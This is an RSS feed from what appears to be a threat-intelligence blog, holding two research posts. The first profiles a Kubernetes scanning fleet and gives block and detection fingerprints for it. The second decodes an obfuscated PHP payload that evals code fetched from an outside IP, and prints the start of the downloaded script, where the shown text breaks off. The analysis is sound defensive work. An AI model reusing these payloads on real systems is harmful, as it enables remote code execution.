<?xml version="1.0" encoding="UTF-8"?>
<rss  xmlns:atom="http://www.w3.org/2005/Atom" 
      xmlns:media="http://search.yahoo.com/mrss/" 
      xmlns:content="http://purl.org/rss/1.0/modules/content/" 
      xmlns:dc="http://purl.org/dc/elements/1.1/" 
      version="2.0">
<channel>
<title>GreyNoise Labs</title>
<link>https://www.labs.greynoise.io/grimoire/</link>
<atom:link href="https://www.labs.greynoise.io/grimoire/index.xml" rel="self" type="application/rss+xml"/>
<description>The home of GreyNoise Data Science, Security Research, and Detection Engineering</description>
<generator>quarto-1.7.28</generator>
<lastBuildDate>Mon, 23 Mar 2026 00:00:00 GMT</lastBuildDate>
<item>
  <title>Bucklog’s Machine: Inside a Kubernetes Scanning Fleet</title>
  <dc:creator>hrbrmstr </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-03-23-bucklog-k8s/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>Most scanning infrastructure is boring. A VPS, a cron job, maybe a cheap proxy rotation service if the operator has ambitions. What we’re looking at with AS211590 (Bucklog SARL / FBW Networks SAS) is something else entirely – a purpose-built, Kubernetes-orchestrated scanning cluster running from a single /24 in Paris that generated 13 million sessions over 90 days and barely registered the load.</p>
<p>This is the walkthrough. We’ll cover how the fleet is built, what it’s doing, and what you can do about it.</p>
<hr>
<section id="the-infrastructure" class="level2">
<h2 class="anchored" data-anchor-id="the-infrastructure">The Infrastructure</h2>
<p>The BGP prefix 185.177.72.0/24 is registered in RIPE to FBW Networks SAS, 16 rue Grange Dame Rose, Vélizy-Villacoublay, France — allocated 2025-05-27. Our 90-day analysis window for this post opens in late December 2025.</p>
<p>To understand why this fleet is somewhat novel/special, it helps to understand what Censys found when it looked at all 74 observable hosts in the /24: every single one runs the same Debian 12 base image (confirmed via HASSH <code>425d29fe50d8e4f5e37efb6e24bcf660</code>, uniform fleet-wide), the same OpenSSH 9.2p1 configuration, and – on the 22+ confirmed Kubernetes worker nodes – an identical JARM fingerprint on port 10250 (the kubelet API). That’s not coincidence. That’s a provisioning pipeline.</p>
<p>The certificates tell the story even more cleanly. Every worker node presents a self-signed TLS cert on its kubelet port with a systematic naming pattern: <code>pkNN@&lt;epoch&gt;</code>, where NN is a sequential node ID and the epoch timestamp matches the cert’s <code>not_before</code> field exactly. Node .49 holds cert <code>pk01</code>, provisioned 2025-12-30. Node .22 holds <code>pk11</code>, provisioned 2026-01-07. Twenty-five nodes numbered and timestamped in sequence – automated cluster lifecycle management, not a human typing <code>openssl req</code> in a terminal.</p>
<p>The CNI (Container Network Interface) of choice is <a href="https://github.com/cilium/cilium">Cilium</a>. Two nodes expose <a href="https://oneuptime.com/blog/post/2026-03-13-cilium-hubble-observability/view">Hubble observability ports</a> (4244) with a shared <code>*.kubernetes.hubble-grpc.cilium.io</code> cert from the cluster’s internal <code>Cilium CA</code>. Cilium uses eBPF-based networking. The operator gets fine-grained traffic policy enforcement and — through Hubble — real-time visibility into every flow inside the cluster at the kernel level. You don’t stand up a full observability stack for a throwaway campaign. You stand it up because you want to know exactly which pods are producing which traffic, catch failures before they matter, and maintain operational discipline across a fleet that can’t afford to misbehave.</p>
<p>How do the pods talk to the internet? The JA4T fingerprint <code>65495_2-4-8-1-3_65495_7</code> answers that question. An MSS of 65495 only appears on loopback interfaces – the MTU is 65535, and subtract TCP/IP header overhead and you land at 65495. That fingerprint showed up on 304,807 sessions. What it means: kube-proxy or Cilium is routing outbound connections through localhost before NAT’ing them to the external interface. The pods aren’t talking to the internet directly. They go through the cluster’s networking layer first.</p>
<p>There’s also a 1380-byte MSS fingerprint (42780_2-4-8-1-3_1380_12) on 32,815 sessions. Standard Linux MTU is 1500 bytes; 80 bytes of overhead points squarely at VXLAN or WireGuard encapsulation. Some of this traffic traverses a tunnel inside the cluster before it exits.</p>
<p>The node breakdown:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 50%">
<col style="width: 22%">
<col style="width: 27%">
</colgroup>
<thead>
<tr class="header">
<th>Node tier</th>
<th>IPs</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Core workers (pk01–pk19)</td>
<td>9 IPs</td>
<td>96% of all sessions</td>
</tr>
<tr class="even">
<td>Secondary tier</td>
<td>.61, .60, .12</td>
<td>~398K sessions combined</td>
</tr>
<tr class="odd">
<td>Ramp-up tier</td>
<td>~25 IPs (.130–.158 range)</td>
<td>~15K sessions, entering production</td>
</tr>
<tr class="even">
<td>Ingress/control plane</td>
<td>.3</td>
<td>10 services including nginx Ingress, Envoy, kubelet</td>
</tr>
<tr class="odd">
<td>Management</td>
<td>.1, .2</td>
<td>SNMP, Elasticsearch (log aggregation)</td>
</tr>
<tr class="even">
<td>Anomalous</td>
<td>.4, .46, .89</td>
<td>SMB+NFS+RPC on .4; Redis + custom ports on .46/.89</td>
</tr>
</tbody>
</table>
<p>Node .2 runs Elasticsearch on 9200 and 9300. Thirteen million sessions, indexed and queryable, so the fleet maintainers can fully analyze what they’ve captured and/or diagnose campaign issues.</p>
<hr>
</section>
<section id="the-tooling-stack" class="level2">
<h2 class="anchored" data-anchor-id="the-tooling-stack">The Tooling Stack</h2>
<p>Nine IPs account for 96% of 13 million sessions, with load distributed between 8.7% and 12.9% per node – a spread consistent with Kubernetes DaemonSet or Deployment scheduling. The load distribution is too even to be anything else.</p>
<p>The tools, by observed user agent:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 30%">
<col style="width: 43%">
<col style="width: 26%">
</colgroup>
<thead>
<tr class="header">
<th>Agent</th>
<th style="text-align: right;">Sessions</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>curl/8.7.1</td>
<td style="text-align: right;">11,964,108 (91.5%)</td>
<td>Bulk HTTP reconnaissance</td>
</tr>
<tr class="even">
<td>socketburst/0.1</td>
<td style="text-align: right;">271,344</td>
<td>Port/service discovery</td>
</tr>
<tr class="odd">
<td>l9explore/1.2.2</td>
<td style="text-align: right;">242,913</td>
<td>Vulnerability scanning (ProjectDiscovery)</td>
</tr>
<tr class="even">
<td>Chrome/120 (spoofed)</td>
<td style="text-align: right;">142,842</td>
<td>Browser impersonation</td>
</tr>
<tr class="odd">
<td>l9tcpid/v1.1.0</td>
<td style="text-align: right;">4,256</td>
<td>TCP fingerprinting</td>
</tr>
<tr class="even">
<td>python-httpx/0.28.1</td>
<td style="text-align: right;">867</td>
<td>Python HTTP client</td>
</tr>
</tbody>
</table>
<p>Curl handles the volume. l9explore and socketburst handle discovery. l9tcpid fingerprints services for the target list. The Chrome spoof (~15K sessions) gets used selectively where a browser UA gets different responses. This appears to be a part of a deliberate pipeline, moving from inventory collection to full-scale exploit operations.</p>
<p>The JA4H fingerprints confirm the split:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 18%">
<col style="width: 31%">
<col style="width: 50%">
</colgroup>
<thead>
<tr class="header">
<th>JA4H</th>
<th style="text-align: right;">Sessions</th>
<th>Interpretation</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>ge11nn14enus_16e29da98f67</td>
<td style="text-align: right;">8,937,713</td>
<td>GET, 14 headers, en-US – primary curl scanner</td>
</tr>
<tr class="even">
<td>po11nn16enus_6291b5733205</td>
<td style="text-align: right;">2,087,283</td>
<td>POST, 16 headers, en-US – n8n exploitation</td>
</tr>
<tr class="odd">
<td>ge11nn050000_3658ef221638</td>
<td style="text-align: right;">351,749</td>
<td>GET, 5 headers, no locale – l9explore</td>
</tr>
<tr class="even">
<td>ge11nn040000_8391bea91fb6</td>
<td style="text-align: right;">245,432</td>
<td>GET, 4 headers, no locale – socketburst</td>
</tr>
</tbody>
</table>
<p>The POST fingerprint (2.09M sessions) maps directly to the n8n exploitation campaign. 16 headers on POST vs.&nbsp;14 on GET tracks with the addition of Content-Type and payload headers.</p>
<hr>
</section>
<section id="the-lifecycle" class="level2">
<h2 class="anchored" data-anchor-id="the-lifecycle">The Lifecycle</h2>
<p>The fleet’s activity across our 90-day observation window (chosen only for data convenience) follows a pattern consistent with a professional deployment.</p>
<p><strong>Phase 1 – Commissioning (Dec 24 – Jan 2):</strong> Under 4,000 sessions/day. Infrastructure testing. The first week: 1,167 sessions total.</p>
<p><strong>Phase 2 – Initial operations (Jan 3 – Jan 11):</strong> 12K–80K/day. First sustained scanning run, 275,885 sessions in the week of Jan 5. Core patterns established.</p>
<p><strong>Phase 3 – Operational pause (Jan 12 – Jan 18):</strong> Volume drops to under 6,000/day. Either infrastructure reconfiguration or deliberate tempo management.</p>
<p><strong>Phase 4 – Sustained scanning (Jan 19 – Feb 10):</strong> 10K–150K/day across two consecutive weeks. Building coverage, not sprinting.</p>
<p><strong>Phase 5 – Full-scale operations (Feb 12 – Mar 23):</strong> The step-change. Daily volume: 50K–987K. Peak on February 23: 987,094 sessions – a 170x increase from the Phase 3 lull.</p>
<p>Weekly sessions in Phase 5:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Week of</th>
<th style="text-align: right;">Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Feb 9</td>
<td style="text-align: right;">1,508,612</td>
</tr>
<tr class="even">
<td>Feb 16</td>
<td style="text-align: right;">1,791,082</td>
</tr>
<tr class="odd">
<td>Feb 23</td>
<td style="text-align: right;">1,983,061</td>
</tr>
<tr class="even">
<td>Mar 2</td>
<td style="text-align: right;">1,403,226</td>
</tr>
<tr class="odd">
<td>Mar 9</td>
<td style="text-align: right;">2,608,825</td>
</tr>
<tr class="even">
<td>Mar 16</td>
<td style="text-align: right;">1,906,230</td>
</tr>
</tbody>
</table>
<p>Phase 5 began February 12. The US/Israel-Iran conflict started February 27. That’s a two-week gap we’ll come back to in a bit.</p>
<hr>
</section>
<section id="what-the-fleet-is-actually-doing" class="level2">
<h2 class="anchored" data-anchor-id="what-the-fleet-is-actually-doing">What the Fleet Is Actually Doing</h2>
<section id="credential-harvesting" class="level3">
<h3 class="anchored" data-anchor-id="credential-harvesting">Credential harvesting</h3>
<p>This is the dominant mission. The fleet sweeps for configuration files that contain secrets – and it does so with the systematic thoroughness of something that has all the time in the world and a lot of CPU to spend.</p>
<table class="caption-top table">
<colgroup>
<col style="width: 35%">
<col style="width: 35%">
<col style="width: 28%">
</colgroup>
<thead>
<tr class="header">
<th>Activity</th>
<th style="text-align: right;">Sessions</th>
<th>Target</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>.env file harvesting</td>
<td style="text-align: right;">3,543,359</td>
<td>API keys, database credentials, secrets</td>
</tr>
<tr class="even">
<td>Generic sensitive file access</td>
<td style="text-align: right;">3,161,498</td>
<td>Broad configuration file patterns</td>
</tr>
<tr class="odd">
<td>/proc enumeration</td>
<td style="text-align: right;">2,128,282</td>
<td>Container escape paths, system info</td>
</tr>
<tr class="even">
<td>Git config crawling</td>
<td style="text-align: right;">594,049</td>
<td>Repository credentials, internal URLs</td>
</tr>
<tr class="odd">
<td>PHP info</td>
<td style="text-align: right;">286,643</td>
<td>Server configuration disclosure</td>
</tr>
<tr class="even">
<td>AWS credential files</td>
<td style="text-align: right;">173,167</td>
<td>IAM keys, access credentials</td>
</tr>
<tr class="odd">
<td>WordPress config</td>
<td style="text-align: right;">10,319</td>
<td>Database credentials</td>
</tr>
</tbody>
</table>
<p>The .env crawling hits 30+ path variants — <code>/backend/.env</code>, <code>/api/.env</code>, and 28+ additional paths, totaling roughly 200K sessions across variants. This is directory fuzzing vs.&nbsp;targeted exploitation. The fleet probes every plausible location for secrets, then moves on.</p>
</section>
<section id="n8n-exploitation-cve-2026-21858" class="level3">
<h3 class="anchored" data-anchor-id="n8n-exploitation-cve-2026-21858">n8n exploitation (CVE-2026-21858)</h3>
<p>The single largest specific campaign: 1,028,562 sessions targeting n8n workflow automation endpoints.</p>
<p>CVE-2026-21858 is a CVSS 10.0 unauthenticated arbitrary file access vulnerability. The fleet fuzzes approximately 100 unique <code>/form/*</code> and <code>/webhook/*</code> paths at roughly 10K requests each, probing for active n8n workflow endpoints that accept unauthenticated form submissions. The 2.09M POST sessions (JA4H <code>po11nn16enus_6291b5733205</code>) are this campaign.</p>
<p>One layer deeper: CVE-2025-68613, a CVSS 9.9 n8n RCE with a Metasploit module, is linked by Akamai to ZeroBot malware and MuddyWater – an Iranian APT. Bucklog is not the same as MuddyWater. We cannot make that attribution from scanning data. What we can say: the n8n CVE ecosystem is under active exploitation, the fleet has n8n as its single largest specific target, and there’s a documented Iranian APT connection to the same CVE family.</p>
<p>As an aside, n8n has accumulated 22 CVEs in the past three months, 10 rated Critical. Perhaps one should consider finding another automation platform if you still use n8n?</p>
</section>
<section id="evasion-and-active-exploitation" class="level3">
<h3 class="anchored" data-anchor-id="evasion-and-active-exploitation">Evasion and active exploitation</h3>
<p>Beyond credential harvesting and n8n, the fleet runs a broader exploitation portfolio:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>CVE / Technique</th>
<th style="text-align: right;">Sessions</th>
<th>Target</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>CVE-2026-21858 (n8n file access)</td>
<td style="text-align: right;">1,028,562</td>
<td>Workflow automation</td>
</tr>
<tr class="even">
<td>Double URL encoding</td>
<td style="text-align: right;">75,901</td>
<td>WAF bypass</td>
</tr>
<tr class="odd">
<td>Generic path traversal</td>
<td style="text-align: right;">141,289</td>
<td>LFI exploitation</td>
</tr>
<tr class="even">
<td>CVE-2024-29291 (Laravel)</td>
<td style="text-align: right;">13,109</td>
<td>Credential leak</td>
</tr>
<tr class="odd">
<td>CVE-2024-44000 (WP LiteSpeed)</td>
<td style="text-align: right;">12,549</td>
<td>WordPress plugin</td>
</tr>
<tr class="even">
<td>CVE-2020-5284 (Next.js)</td>
<td style="text-align: right;">4,696</td>
<td>Directory traversal</td>
</tr>
<tr class="odd">
<td>CVE-2025-2264 (Sante PACS)</td>
<td style="text-align: right;">4,124</td>
<td>Healthcare PACS</td>
</tr>
<tr class="even">
<td>CVE-2017-9841 (PHPUnit)</td>
<td style="text-align: right;">3,287</td>
<td>Classic RCE</td>
</tr>
<tr class="odd">
<td>CVE-2025-48927 (TeleMessage)</td>
<td style="text-align: right;">2,432</td>
<td>Spring Boot heap dump</td>
</tr>
</tbody>
</table>
<p>The double URL encoding (75K sessions) specifically targets WAF pattern matching that only decodes once. If your WAF sees <code>%252e%252e</code> and doesn’t second-decode it, the traversal gets through.</p>
<p>CVE-2025-2264 targeting Sante PACS is only 4,124 sessions – small by this fleet’s standards – but medical imaging systems are critical infrastructure. Healthcare organizations should audit Sante PACS exposure regardless of session count.</p>
<hr>
</section>
</section>
<section id="target-selection-the-conflict-angle" class="level2">
<h2 class="anchored" data-anchor-id="target-selection-the-conflict-angle">Target Selection: The Conflict Angle</h2>
<p>The fleet probes 47+ distinct sensor profile types with a pretty deliberate composition.</p>
<p><strong>Perimeter and VPN devices:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Persona</th>
<th style="text-align: right;">Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Palo Alto NGFW + PAN-OS</td>
<td style="text-align: right;">245,995</td>
</tr>
<tr class="even">
<td>SonicWall SonicOS + Gen7</td>
<td style="text-align: right;">242,628</td>
</tr>
<tr class="odd">
<td>Cisco ASA + ASA Software</td>
<td style="text-align: right;">158,628</td>
</tr>
<tr class="even">
<td>pfSense</td>
<td style="text-align: right;">126,706</td>
</tr>
<tr class="odd">
<td>Zyxel USG40</td>
<td style="text-align: right;">91,060</td>
</tr>
<tr class="even">
<td>Checkpoint Firewall-1</td>
<td style="text-align: right;">90,396</td>
</tr>
<tr class="odd">
<td>Juniper SRX210</td>
<td style="text-align: right;">89,293</td>
</tr>
</tbody>
</table>
<p><strong>Surveillance systems:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Persona</th>
<th style="text-align: right;">Sessions</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>TrendNet IP Camera</td>
<td style="text-align: right;">153,971</td>
<td></td>
</tr>
<tr class="even">
<td>Dahua Camera</td>
<td style="text-align: right;">100,773</td>
<td>CyberAv3ngers documented target</td>
</tr>
<tr class="odd">
<td>Intelbras Camera</td>
<td style="text-align: right;">100,301</td>
<td></td>
</tr>
<tr class="even">
<td>Hikvision</td>
<td style="text-align: right;">78,572</td>
<td>CyberAv3ngers documented target</td>
</tr>
<tr class="odd">
<td>Geovision</td>
<td style="text-align: right;">71,287</td>
<td></td>
</tr>
<tr class="even">
<td>Bosch Alarm Panel</td>
<td style="text-align: right;">74,682</td>
<td></td>
</tr>
</tbody>
</table>
<p>CyberAv3ngers is an IRGC-affiliated group with a documented pattern of targeting Dahua and Hikvision surveillance systems. Both are in this fleet’s top surveillance targets. That could be coincidence. The temporal alignment makes coincidence a less comfortable explanation.</p>
<p>Phase 5 escalation began February 12. The US/Israel-Iran conflict onset: February 27. Fifteen days prior, this fleet went from 150K sessions/day to a trajectory ending at 987K. A reasonable interpretation: pre-positioning. Establishing access breadth before a conflict window opens, so that selective exploitation can begin once it does. This comes from preliminary analysis – direct attribution to any state actor is not supported by the available data – but the combination of target selection, timing, and n8n/MuddyWater overlap is hard to set aside.</p>
<hr>
</section>
<section id="what-you-can-do-about-it" class="level2">
<h2 class="anchored" data-anchor-id="what-you-can-do-about-it">What You Can Do About It</h2>
<section id="block-it" class="level3">
<h3 class="anchored" data-anchor-id="block-it">Block it</h3>
<p>The entire /24 is unified infrastructure. No shared SSH host keys between nodes (each is unique, consistent with proper Kubernetes provisioning), but every single observable host shares the same base image, the same HASSH, and the same operational purpose. There is no evidence of legitimate third-party tenancy in this prefix.</p>
<p>Block <strong>185.177.72.0/24 (AS211590 BUCKLOG)</strong> at your perimeter. If you don’t expect traffic from a French scanning cluster, this is a clean block.</p>
</section>
<section id="detect-it" class="level3">
<h3 class="anchored" data-anchor-id="detect-it">Detect it</h3>
<p>These fingerprints identify the fleet with low false-positive rate:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 36%">
<col style="width: 31%">
<col style="width: 31%">
</colgroup>
<thead>
<tr class="header">
<th>Signal</th>
<th>Value</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>JA4H (GET scanner)</td>
<td><code>ge11nn14enus_16e29da98f67</code></td>
<td>8.9M sessions, primary curl scanner</td>
</tr>
<tr class="even">
<td>JA4H (POST/n8n)</td>
<td><code>po11nn16enus_6291b5733205</code></td>
<td>2.1M sessions, n8n exploitation</td>
</tr>
<tr class="odd">
<td>JA4T (K8s loopback)</td>
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>MSS 65495 = Kubernetes pod routing</td>
</tr>
<tr class="even">
<td>HASSH (SSH server)</td>
<td><code>425d29fe50d8e4f5e37efb6e24bcf660</code></td>
<td>Uniform across all 74 nodes</td>
</tr>
<tr class="odd">
<td>JARM (kubelet)</td>
<td><code>3fd3fd20d00000000043d3fd3fd43d684d61a135bd962c8dd9c541ddbaefa8</code></td>
<td>All K8s worker nodes</td>
</tr>
<tr class="even">
<td>User agent</td>
<td><code>curl/8.7.1</code></td>
<td>Combined with 14+ headers and en-US locale</td>
</tr>
</tbody>
</table>
<p>The JA4H fingerprint <code>ge11nn14enus_16e29da98f67</code> is the reliable signal here — 14 headers plus <code>en-US</code> locale is a specific combination that doesn’t require trusting the UA string, which is trivially changed. Alert on double-encoded path traversal (<code>%252e%252e</code>) regardless of source.</p>
</section>
<section id="patch-and-protect" class="level3">
<h3 class="anchored" data-anchor-id="patch-and-protect">Patch and protect</h3>
<ol type="1">
<li><strong>Patch n8n now.</strong> CVE-2026-21858 (CVSS 10.0) and CVE-2025-68613 (CVSS 9.9, Metasploit module available) are both active targets. If patching isn’t immediate, restrict <code>/form/*</code> and <code>/webhook/*</code> to authenticated access at the network layer.</li>
<li><strong>Audit your .env exposure.</strong> Check that your web server blocks dotfile access. Verify <code>.env</code>, <code>.aws/credentials</code>, and <code>.git/config</code> aren’t reachable from your document root. A fleet running 3.5M sessions against these paths will find any that you’ve missed.</li>
<li><strong>Healthcare organizations:</strong> Audit Sante PACS installations for CVE-2025-2264.</li>
<li><strong>Monitor the ramp-up tier.</strong> The .130–.158 range (~25 IPs) is entering production now. Extend your blocks and monitoring to the full /24, not just the 9 core workers.</li>
</ol>
<hr>
</section>
</section>
<section id="gnql-queries" class="level2">
<h2 class="anchored" data-anchor-id="gnql-queries">GNQL Queries</h2>
<p>Fleet overview (last 7 days):</p>
<pre><code>metadata.asn:AS211590 last_seen:7d</code></pre>
<p>n8n exploitation activity:</p>
<pre><code>metadata.asn:AS211590 tags:"n8n CVE-2026-21858 Attempt" last_seen:7d</code></pre>
<p>ENV crawling:</p>
<pre><code>metadata.asn:AS211590 tags:"ENV Crawler" last_seen:7d</code></pre>
<p>Core worker IPs:</p>
<pre><code>ip:185.177.72.13 OR ip:185.177.72.49 OR ip:185.177.72.38 OR ip:185.177.72.23 OR ip:185.177.72.52 last_seen:7d</code></pre>
<p>Surveillance persona targeting (Session Explorer):</p>
<pre><code>sourceMetadata.asn:AS211590 AND gnMetadata.persona.name:("Dahua Camera" OR "Hikvision" OR "TrendNet IP Camera")</code></pre>
<hr>
</section>
<section id="what-to-watch" class="level2">
<h2 class="anchored" data-anchor-id="what-to-watch">What to Watch</h2>
<p>Watch the ramp-up tier. When the ~25 nodes in the .130–.158 range reach full production, the fleet’s daily ceiling moves substantially higher than the current 987K peak.</p>
<p>The n8n CVE chaining risk is real. CVE-2026-21858 provides unauthenticated file access; CVE-2025-68613 provides RCE via expression evaluation. A fleet already running 1M sessions against n8n endpoints that has access to a Metasploit module for the RCE follow-on is a meaningful threat to any exposed n8n instance.</p>
<p>We’ll continue tracking AS211590 activity. If the conflict-tempo hypothesis holds, the next escalation point should be visible in the session data before it shows up anywhere else.</p>


</section>

 ]]></description>
  <category>cybersecurity</category>
  <category>threat-intelligence</category>
  <category>kubernetes</category>
  <category>vulnerability-exploitation</category>
  <category>credential-harvesting</category>
  <category>network-fingerprinting</category>
  <category>apt</category>
  <category>greynoise</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-03-23-bucklog-k8s/</guid>
  <pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-03-23-bucklog-k8s/media/cover.png" medium="image" type="image/png" height="81" width="144"/>
</item>
<item>
  <title>What’s That String? That Time a Weird String Revealed a Whole Operation</title>
  <dc:creator>Brianna Cluck</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-24-whats-that-string/media/intro.png" class="img-fluid figure-img"></p>
<figcaption>How it felt to work on this post. Shikanoko Nokonoko Koshitantan is written by Takashi Aoshima and published by Wit Studio.</figcaption>
</figure>
</div>
<p>It all started with a slack message from boB Rudis:</p>
<p>“Hey, I keep seeing this string. Any ideas?”</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode html code-with-copy"><code class="sourceCode html"><span id="cb1-1">d2=%3D%3DQXisTKpcCd4RnLsF3ckN3LlR2bj9yN4EzL3gTMvUjMx4COyIjL1QTMuUDNv8iOwRHdodCKzRnblRnbvN2X0V2ZfVGbpZGKsFmdlBkIsIiIsIibvlGdj5Wdm9VZ0FWZyNmIsIyYuVnZfJXZzV3XsxWYjJyW</span></code></pre></div>
<p>It certainly seemed weird. The judicious amount of %3D meant it was likely URL encoded. Decoded that and got this:</p>
<div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode html code-with-copy"><code class="sourceCode html"><span id="cb2-1">d2===QXisTKpcCd4RnLsF3ckN3LlR2bj9yN4EzL3gTMvUjMx4COyIjL1QTMuUDNv8iOwRHdodCKzRnblRnbvN2X0V2ZfVGbpZGKsFmdlBkIsIiIsIibvlGdj5Wdm9VZ0FWZyNmIsIyYuVnZfJXZzV3XsxWYjJyW</span></code></pre></div>
<p>I thought maybe it was a cookie value at first, then Ron said “Hey, this looks like backwards base64.”</p>
<p>Dear reader, I cannot describe the joy I have at working with the type of person who can look at a string and go “ah yeah, backwards base64.”</p>
<p>He proved it with a couple of ruby commands, and I double checked on my end by putting it into <a href="https://cyberchef.io/#recipe=Reverse('Character')From_Base64('A-Za-z0-9%2B/%3D',true)&amp;input=PT1RWGlzVEtwY0NkNFJuTHNGM2NrTjNMbFIyYmo5eU40RXpMM2dUTXZVak14NENPeUlqTDFRVE11VUROdjhpT3dSSGRvZENLelJuYmxSbmJ2TjJYMFYyWmZWR2JwWkdLc0ZtZGxCa0lzSWlJc0lpYnZsR2RqNVdkbTlWWjBGV1p5Tm1Jc0l5WXVWblpmSlhaelYzWHN4V1lqSnlX">cyberchef, removing the d2= at the beginning, and then setting the recipe to reverse the string and decode base64.</a></p>
<p>The end result:</p>
<div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode html code-with-copy"><code class="sourceCode html"><span id="cb3-1">["call_user_func","create_function","","@eval(file_get_contents('http://45.145.228.125/187/187/code/sdsql.txt'));"]</span></code></pre></div>
<p>Wow! Looks like we’ve got something here!</p>
<section id="dont-try-this-at-home" class="level2">
<h2 class="anchored" data-anchor-id="dont-try-this-at-home">Don’t Try This At Home</h2>
<p>Having a link, and a file to download that was definitely going to be something unsavory, I did what I tell everyone I know not to do, and I purposely downloaded the file. I named it “shadyaf.txt” to remind myself to absolutely, under no circumstances, actually run the code in the file. So, what do we have?</p>
<div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode php code-with-copy"><code class="sourceCode php"><span id="cb4-1"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'output_buffering'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'0'</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-2"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'zlib.output_compression'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-3"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'implicit_flush'</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-4"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ob_implicit_flush</span>(<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-5"></span>
<span id="cb4-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 确保错误显示开启</span></span>
<span id="cb4-7"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ini_set</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"display_errors"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"1"</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-8"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">error_reporting</span>(<span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">E_ALL</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-9"></span>
<span id="cb4-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 设置脚本执行参数</span></span>
<span id="cb4-11"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ignore_user_abort</span>(<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-12"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">@</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">set_time_limit</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span>)<span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">;</span></span>
